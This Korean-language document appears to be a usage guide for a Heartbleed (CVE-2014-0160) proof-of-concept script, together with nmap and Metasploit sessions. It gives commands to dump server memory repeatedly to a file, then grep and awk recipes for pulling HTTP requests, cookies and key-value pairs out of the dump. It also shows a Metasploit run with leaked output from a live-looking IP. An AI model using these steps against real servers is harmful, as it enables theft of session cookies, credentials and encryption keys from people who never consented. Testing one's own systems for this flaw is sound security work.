
SSL 하트비트 취약점(CVE-2014-0160) 테스트
NB 현재 대부분의 도구(nmap, metasploit, nessus, 심지어 burp)는 가장 최신 버전의 스캐너를 갖추고 있습니다. 이 도구들은 도구가 아직 개발 중이던 초기 단계에 출시되었습니다. 지금은 이것들보다는 그 도구들을 사용하는 것이 좋습니다.
사용법: heartbleed-poc.py 서버 [옵션]
SSL 하트비트 취약점 테스트 (CVE-2014-0160)
옵션: -h, --help 이 도움말 메시지를 표시하고 종료합니다. -p PORT, --port=PORT 테스트할 TCP 포트 (기본값: 443) -n NUM, --num=NUM 취약한 경우 보낼 하트비트 수 (얻을 메모리 양 결정) (기본값: 1) -f FILE, --file=FILE 덤프 메모리를 저장할 파일 이름 (기본값: dump.bin) -q, --quiet 메모리 덤프를 표시하지 않음 -s, --starttls STARTTLS 확인 (현재는 smtp만 가능)
일반 스캔, 1회 반복으로 포트 443에 접속: python heartbleed-poc.py example.com
메모리 덤프 스캔, 100회 요청을 보내고 출력을 바이너리 파일 dump.bin에 저장: python heartbleed-poc.py -n100 -f dump.bin example.com
서버가 바쁘게 유지되도록 하지 않으면 반복되는 데이터가 나올 수 있으므로, HEAP의 다른 부분을 얻으려면 서버가 바쁜 상태인지 확인하세요.
STARTTLS를 사용하는 메일 서버 확인 (예: 포트 25): python heartbleed-poc.py -s -p 25 example.com
이전에는 TLS 버전을 명시적으로 지정하는 -v 스위치가 있었지만, 이제는 자동으로 감지되므로 제거되었습니다.
바이너리 파일에는 알짜 정보가 포함되어 있습니다. 다음은 유용한 데이터를 찾는 간단한 방법입니다:
HTTP 요청: awk '/[HPG][UEO][AST][DT ]/,/Connection/' dump.bin
쿠키: grep -a "^Cookie:" dump.bin
흥미로운 키-값 쌍: pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump.bin
사용법: nmap --script=ssl-heartbleed -p 443 <서버>
예제 출력:
Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-04-09 17:27 SAST
Nmap scan report for <example.org> (1.2.3.4)
Host is up (0.0068s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| Description:
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(openssl_heartbleed) > show options
Module options (auxiliary/scanner/ssl/openssl_heartbleed):
이름 현재 설정 필수 설명
RHOSTS 예 대상 주소 범위 또는 CIDR 식별자 RPORT 443 예 대상 포트 STARTTLS None 예 STARTTLS에 사용할 프로토콜, STARTTLS를 피하려면 None (허용: None, SMTP, IMAP, JABBER, POP3, FTP) THREADS 1 예 동시 스레드 수 TLSVERSION 1.0 예 사용할 TLS 버전 (허용: 1.0, 1.1, 1.2)
msf auxiliary(openssl_heartbleed) > set rhosts example.org rhosts => example.org msf auxiliary(openssl_heartbleed) > set STARTTLS FTP STARTTLS => FTP msf auxiliary(openssl_heartbleed) > set PORT 21 PORT => 21 msf auxiliary(openssl_heartbleed) > exploit
[] 37.187.134.197:21 - Trying to start SSL via FTP [] 37.187.134.197:21 - Sending Client Hello... [] 37.187.134.197:21 - Sending Heartbeat... [] 37.187.134.197:21 - Heartbeat response, checking if there is data leaked... [+] 37.187.134.197:21 - Heartbeat response with leak [] 37.187.134.197:21 - Printable info leaked: @SE F(CKMIWsf"!98532ED/A [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed